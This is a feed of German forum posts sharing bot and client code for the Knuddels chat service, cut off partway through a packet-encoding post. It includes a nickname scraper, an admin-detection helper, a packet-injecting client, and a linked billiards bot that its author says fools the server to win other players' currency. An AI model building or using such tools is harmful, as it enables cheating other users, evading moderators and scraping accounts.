<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">.</span><span style="color: #0000BB">RegularExpressions</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Anti_Admin_Sample<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">AntiAdmin<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">_Adminlist&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gibt&nbsp;die&nbsp;geladene&nbsp;Adminliste&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">Adminlist<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_Adminlist</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gibt&nbsp;zurück&nbsp;ob&nbsp;die&nbsp;Adminliste&nbsp;geladen&nbsp;wurde<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;isLoaded<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">_Adminlist&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">_Adminlist</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Lädt&nbsp;die&nbsp;aktuelle&nbsp;Adminliste&nbsp;von&nbsp;Knuddels<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="token"&gt;Inhalt&nbsp;des&nbsp;Hilfefensters&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;LoadAdminlist</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;token</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_Adminlist&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;List&lt;</span><span style="color: #0000BB">String</span><span style="color: #007700">&gt;();<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;foreach&nbsp;(</span><span style="color: #0000BB">Match&nbsp;m&nbsp;in&nbsp;Regex</span><span style="color: #007700">.</span><span style="color: #0000BB">Matches</span><span style="color: #007700">(</span><span style="color: #0000BB">token</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"°&gt;_h(&#91;^\\|&#93;+)"</span><span style="color: #007700">))<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">_Adminlist</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">m</span><span style="color: #007700">.</span><span style="color: #0000BB">Value</span><span style="color: #007700">.</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"°&gt;_h"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty).</span><span style="color: #0000BB">Replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\",&nbsp;String.Empty));&nbsp;//&nbsp;Regex&nbsp;failed,&nbsp;wayne&nbsp;..<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span>
</span>
</code></code><hr />
</div><a href="http://ul.to/vkfzzl8i" target="_blank" rel="nofollow"><font size="4"><b>C# Anti-Admin Sample Download</b></font></a><br />
<br />
Ist recht einfach gehalten und die meisten sollten es hoffentlich verstehen. Wenn ihr Fragen habt, dann stellt sie vernünftig.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/anti-admin-sample-30412</guid>
		</item>
		<item>
			<title>VB.Net NickCrawler</title>
			<link>sourcecode-91/vb-net-nickcrawler-31710?goto=newpost</link>
			<pubDate>Wed, 12 Oct 2011 19:44:50 GMT</pubDate>
			<description>Nabend, hatte eben ein wenig Langweile und hab mal eben einen Nick Crawler in VB.Net geschrieben, 
es gibt zwar schon mehrere Sourcecodes von Nick...</description>
			<content:encoded><![CDATA[<div>Nabend, hatte eben ein wenig Langweile und hab mal eben einen Nick Crawler in VB.Net geschrieben,<br />
es gibt zwar schon mehrere Sourcecodes von Nick Crawlern, allerdings habe ich nur Codes in C# gesehen...<br />
<br />
Die Geschwindigkeit des Crawlers ist abhängig von eurer Internetanbindung,<br />
an meinem PC schaffe ich ca. 1 Nick pro Sekunde (40kb/s Downloadrate), an meinem vServer ca. 15 Nicks pro Sekunde.<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
[hide=10]<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">Imports System.Net<br />
Imports System.Text.RegularExpressions<br />
Imports System.Threading<br />
Imports System.IO<br />
<br />
Module Module1<br />
<br />
&nbsp; &nbsp; Private Nicks As New List(Of String)<br />
<br />
&nbsp; &nbsp; Sub Main()<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.Title = &quot;Nick Crawler by Nico @ k-script.cc&nbsp;  |&nbsp;  visit us!&quot;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; CWrite(&quot;Wieviele Nicks sollen gecrawlt werden?&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Dim zu_crawlen As Integer = Console.ReadLine<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; CWrite(&quot;Beginne nun zu crawlen.&quot; &amp; vbNewLine)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; CWrite(&quot;Nicks gecrawlt: &quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; crawl(zu_crawlen)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; CWrite(vbNewLine &amp; &quot;Vorgang abgeschlossen. &quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Save_Nicks()<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Sub Save_Nicks()<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; CWrite(&quot;Sollen die Nicknamen in einer .txt Datei gespeichert werden? (Die Datei wird vorher geleert.) (y/n)&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Dim Antwort As String = Console.ReadLine<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; If Antwort = &quot;y&quot; Then<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Using writer As StreamWriter = New StreamWriter(&quot;nicknames.txt&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; For Each nickname In Nicks<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; writer.WriteLine(nickname)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Next<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End Using<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CWrite(&quot;Nicks wurden gespeichert. Programm beendet in 3 Sekunden!&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(3000)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Environment.Exit(0)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Else<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CWrite(&quot;Nicknamen werden nicht gespeichert. Programm beendet in 3 Sekunden!&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Thread.Sleep(3000)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Environment.Exit(0)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Sub crawl(ByVal Anzahl As Integer)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Dim i As Integer = 1<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Dim client As New WebClient<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Do While i &lt;= Anzahl<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim Quelltext As String = client.DownloadString(&quot;http://photo.knuddels.de/photos-rate.html&quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim Nickname As String = String.Empty<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Nickname = Regex.Match(Quelltext, &quot;name=&quot;&quot;nickname&quot;&quot; value=&quot;&quot;(.+?)&quot;&quot;&gt;&quot;).Groups(1).Value<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If Nickname.Contains(&quot;#&quot;) Or Nickname.Contains(&quot;&amp;&quot;) Then<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If Nicks.Contains(Nickname) Then<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Nicks.Add(Nickname)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Console.Write(Nickname &amp; &quot; (&quot; &amp; i &amp; &quot;), &quot;)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i += 1<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End If<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Loop<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
&nbsp; &nbsp; Sub CWrite(ByVal text As String)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.Green<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.WriteLine(text)<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; Console.ForegroundColor = ConsoleColor.White<br />
<br />
&nbsp; &nbsp; End Sub<br />
<br />
End Module</code><hr />
</div>[/hide]<br />

</div>
</div>
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">sourcecode-91/vb-net-nickcrawler-31710</guid>
		</item>
		<item>
			<title>Knuddells Chatfenster anzeigen</title>
			<link>sourcecode-91/knuddells-chatfenster-anzeigen-31145?goto=newpost</link>
			<pubDate>Fri, 09 Sep 2011 00:44:44 GMT</pubDate>
			<description>Guten Morgen  
Ich wollte mal gerne fragen wie ich das hin bekommen kann das sich das richtige Knuddels Chatfenster öffnet  ? 
 
Also ich habe vor...</description>
			<content:encoded><![CDATA[<div>Guten Morgen <br />
Ich wollte mal gerne fragen wie ich das hin bekommen kann das sich das richtige Knuddels Chatfenster öffnet  ?<br />
<br />
Also ich habe vor kurzem einen kleinen Client gemacht mit dem Code von Diebspiel ( mit seiner Erlaubnis ).<br />
Einloggen und so macht er aber nur in einem kleinen Chatfenster was direkt im Client ist,  also nicht das richtige Chatfenster<br />
<br />
Wie bekomme ich das Bitte hin ?<br />
<br />
( Wenn Falsch postet Bitte verschieben, wusste nicht wohin sry )</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>DiePöse</dc:creator>
			<guid isPermaLink="true">sourcecode-91/knuddells-chatfenster-anzeigen-31145</guid>
		</item>
		<item>
			<title>Simple Sample Client v1.0.90agc</title>
			<link>sourcecode-91/simple-sample-client-v1-0-90agc-30401?goto=newpost</link>
			<pubDate>Sun, 28 Aug 2011 14:23:04 GMT</pubDate>
			<description>Simple Sample Client 
*Version:* 1.0.90agc 
*Credits:* Flav 
 
 
Dieser Client ist nicht zum Botten gedacht! Es handelt sich hier um eine Vorlage für...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><font size="5">Simple Sample Client</font><br />
<font size="1"><b>Version:</b> 1.0.90agc<br />
<b>Credits:</b> Flav</font></div><br />
<br />
Dieser Client ist nicht zum Botten gedacht! Es handelt sich hier um eine Vorlage für Entwickler, enthalten sind Source und Scripts zum Kompilieren.<br />
Der Client zeigt wie man Pakete abfängt/verwirft und ist mit nützlichen Methoden ausgestattet, wie z. B. die Methoden receive(String) und send(String) zum Injektieren von Paketen, oder getButler(), getNickname() und getChannel().<br />
<br />
<font size="4">Features</font><br />
<br />
- Grafiken, Sounds, Links und Spiele sind gefixt.<br />
- Sowohl Mac als auch Java7 kompatibel.<br />
- Alle Parameter lassen sich anpassen.<br />
- Full Hide-Funktion ist verfügbar.<br />
<br />
<a href="http://w072092.open.ge.tt/1/files/80fBsYI/0/blob?download" target="_blank" rel="nofollow"><font size="4">Download</font></a></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/simple-sample-client-v1-0-90agc-30401</guid>
		</item>
		<item>
			<title>Könnte man so einen StayOnlineBot machen?</title>
			<link>sourcecode-91/koennte-man-so-einen-stayonlinebot-machen-31103?goto=newpost</link>
			<pubDate>Fri, 19 Aug 2011 20:34:40 GMT</pubDate>
			<description>wollte mal fragen ob dieser Code so in der art reicht um einen StayOnlineBot zu machen?.. bin noch ein neuling was das programmieren für knuddels...</description>
			<content:encoded><![CDATA[<div>wollte mal fragen ob dieser Code so in der art reicht um einen StayOnlineBot zu machen?.. bin noch ein neuling was das programmieren für knuddels angeht.<br />
<br />
<br />
<br />
[HIDE]Imports KNLib<br />
Public Class Form1<br />
    Private Client As Client<br />
<br />
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load<br />
<br />
    End Sub<br />
<br />
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click<br />
<br />
        If Button1.Text = &quot;Einloggen&quot; Then<br />
            Client = New Client<br />
            Client.StayOnline = True<br />
            Dim username As String = TextBox1.Text<br />
            Dim password As String = TextBox2.Text<br />
            Dim channel As String = TextBox3.Text<br />
            Client.Connect(&quot;chat.knuddels.de&quot;, 2711)<br />
            Client.Login(username, password, channel)<br />
            Button1.Text = &quot;Ausloggen&quot;<br />
        ElseIf Button1.Text = &quot;Ausloggen&quot; Then<br />
            Client.Logout()<br />
            Button1.Text = &quot;Einloggen&quot;<br />
        End If<br />
    End Sub<br />
End Class[/HIDE]</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>mczilla</dc:creator>
			<guid isPermaLink="true">sourcecode-91/koennte-man-so-einen-stayonlinebot-machen-31103</guid>
		</item>
		<item>
			<title><![CDATA[[c#] billard bot source]]></title>
			<link>sourcecode-91/c-billard-bot-source-30907?goto=newpost</link>
			<pubDate>Mon, 15 Aug 2011 22:25:58 GMT</pubDate>
			<description>hi, 
da ich nichtmehr coder bin, also nichts für spenderzone zum releasen hätte und keine lust mehr habe weiter zu programmieren an dem project...</description>
			<content:encoded><![CDATA[<div>hi,<br />
da ich nichtmehr coder bin, also nichts für spenderzone zum releasen hätte und keine lust mehr habe weiter zu programmieren an dem project (keine interesse mehr an knuddels) und die möglichkeit die ich hier benutze gepatcht wurde gebe ich hier den source einfach mal preis.<br />
es funktioniert im mfc und glaubich in knuddeles.ch noch.<br />
der bot sagt dem server quasi einfach das die kugel versenkt wurde, und macht das mit einer nach der anderen.<br />
vllt findet jemand ne andere möglichkeit den server auszutricksen, dann würde das nur noch ne arbeit von paar minuten sein es im source zu ändern.<br />
das ganze sind eig. 2 projecte, ein webservice und ein client, den webservice bindet man im IIS ein und der client connected darauf, so ist der source zu 100% geschützt.<br />
ah.. ist noch ne kleine popup manipulation für das 8ball-info-fenster drinnen, das man z.b. anzeigen lassen kann das spiel geht nur um 1 knuddel, aber geht eig. um 1337 knuddels.<br />
<br />
have fun und zoggt nicht die ganzen knuddels im mfc ab :D<br />
<br />
<a href="http://www.file-upload.net/download-3665905/kndlBillardBot.zip.html" target="_blank" rel="nofollow">Download</a><br />
<br />
-aspire</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>aspire</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-billard-bot-source-30907</guid>
		</item>
		<item>
			<title><![CDATA[[Java 7] Grafiken]]></title>
			<link>sourcecode-91/java-7-grafiken-31517?goto=newpost</link>
			<pubDate>Sun, 14 Aug 2011 16:34:00 GMT</pubDate>
			<description>Bei Java 7 werden die Grafiken anders als bei Java 6 über den AppletContext geladen. Wer Java 7 installiert hat, dem ist das vielleicht schon beim...</description>
			<content:encoded><![CDATA[<div>Bei Java 7 werden die Grafiken anders als bei Java 6 über den AppletContext geladen. Wer Java 7 installiert hat, dem ist das vielleicht schon beim KSC aufgefallen, dass Grafiken nicht angezeigt werden. Um das Problem zu beheben müssen wir also den Context faken, dazu legen wir eine neue Klasse an welche das Interface AppletContext implementiert.<br />
<br />
<b>Context.java</b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushJava.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: java;">
import java.applet.Applet;<br />
import java.applet.AppletContext;<br />
import java.applet.AudioClip;<br />
import java.awt.Desktop;<br />
import java.awt.Image;<br />
import java.io.InputStream;<br />
import java.io.IOException;<br />
import java.net.URL;<br />
import java.util.Enumeration;<br />
import java.util.Iterator;<br />
import javax.imageio.ImageIO;<br />
<br />
/**<br />
 *<br />
 * @author Flav<br />
 */<br />
public class Context implements AppletContext {<br />
    public Applet getApplet(String name) {<br />
        return null;<br />
    }<br />
<br />
    public Enumeration&lt;Applet&gt; getApplets() {<br />
        return null;<br />
    }<br />
<br />
    public AudioClip getAudioClip(URL url) {<br />
        return null;<br />
    }<br />
<br />
    public Image getImage(URL url) {<br />
        try {<br />
            return ImageIO.read(url);<br />
        } catch (IOException e) {<br />
            return null;<br />
        }<br />
    }<br />
<br />
    public InputStream getStream(String key) {<br />
        return null;<br />
    }<br />
<br />
    public Iterator&lt;String&gt; getStreamKeys() {<br />
        return null;<br />
    }<br />
<br />
    public void setStream(String key, InputStream stream) {<br />
    }<br />
<br />
    public void showDocument(URL url) {<br />
        showDocument(url, null);<br />
    }<br />
<br />
    public void showDocument(URL url, String target) {<br />
        if (Desktop.isDesktopSupported()) {<br />
            Desktop desktop = Desktop.getDesktop();<br />
<br />
            if (desktop.isSupported(Desktop.Action.BROWSE)) {<br />
                try {<br />
                    desktop.browse(url.toURI());<br />
                } catch (Exception e) {<br />
                    e.printStackTrace();<br />
                }<br />
            }<br />
        }<br />
    }<br />
<br />
    public void showStatus(String status) {<br />
    }<br />
}<br />

</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Anschließend muss GroupChat noch dementsprechend manipuliert werden, hier überschreiben wir die Methode getAppletContext der Klasse Applet.<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushJava.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: java;">
            groupChat.addMethod(CtMethod.make(<br />
                &quot;public AppletContext getAppletContext() {&quot;<br />
            +        &quot;return new Context();&quot;<br />
            +    &quot;}&quot;<br />
            , groupChat));
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
P.S. Links sind dadurch auch gefixt.</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Flav</dc:creator>
			<guid isPermaLink="true">sourcecode-91/java-7-grafiken-31517</guid>
		</item>
		<item>
			<title>Paketlänge lesen/schreiben</title>
			<link>sourcecode-91/paketlaenge-lesen-schreiben-31877?goto=newpost</link>
			<pubDate>Fri, 29 Jul 2011 15:05:25 GMT</pubDate>
			<description>Kennt man eigentlich schon vom Emulator und der KN-/KJLib. Bei Knuddels wird die Paketlänge durch X Bytes angegeben, je nachdem wie viele benötigt...</description>
			<content:encoded><![CDATA[<div>Kennt man eigentlich schon vom Emulator und der KN-/KJLib. Bei Knuddels wird die Paketlänge durch X Bytes angegeben, je nachdem wie viele benötigt werden. Ist nicht nur beim Chat so, sondern auch bei Beach. hihio Hab ich dem Client im Dezember entnommen, hatte es auf UH auch mal released.<br />
<br />
<b>Lesen</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int first = in.read();<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (first == -1) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int len;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte b = (byte) first;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (b &gt;= 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len = b + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len = (b &amp; 0x1F) + 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int count = (b &amp; 0x60) &gt;&gt;&gt; 5;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; count; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; len += in.read() &lt;&lt; (i &lt;&lt; 3) + 5;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] buffer = new byte[len];<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (int i = 0; i &lt; len; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buffer[i] = (byte) in.read();<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</code><hr />
</div><b>Schreiben</b><br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int len = bytes.length - 1;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] length;<br />
<br />
